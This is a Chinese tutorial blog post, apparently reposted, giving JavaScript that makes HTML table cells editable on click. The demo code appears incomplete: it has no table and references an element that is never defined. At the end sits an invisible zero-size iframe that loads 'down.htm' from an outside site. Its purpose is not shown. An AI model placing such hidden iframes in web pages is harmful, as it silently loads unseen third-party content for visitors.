怎样让你的表格可编辑???

 

怎样让你的表格可编辑???

出处:http://go.163.com/colorweb

<style> .td1 { color: white; background-color: orange;font-size:11pt} .td2 { color: white; background-color: #0099ff;font-size:11pt} .td3 { color: white; background-color: #336699;font-size:11pt} blockquote{BACKGROUND-POSITION: center center; BACKGROUND-IMAGE: url(http://lucky.myrice.com/back.jpg); BACKGROUND-REPEAT: no-repeat;padding-left:20px;padding-top:20px;padding-bottom:20px;border: 12px solid #66ffff; border-style: ridge;background-color:#0099FF} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script>
欢迎光临[孟宪会之精彩世界]http://lucky.myrice.com

代码如下:

<xmp><html> <head> <style> .td1 { color: white; background-color: orange;} .td2 { color: white; background-color: #0099ff;} .td3 { color: white; background-color: #336699;} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script> </head> <body>
欢迎光临[孟宪会之精彩世界]http://lucky.myrice.com
</body> </html> </xmp>
<iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值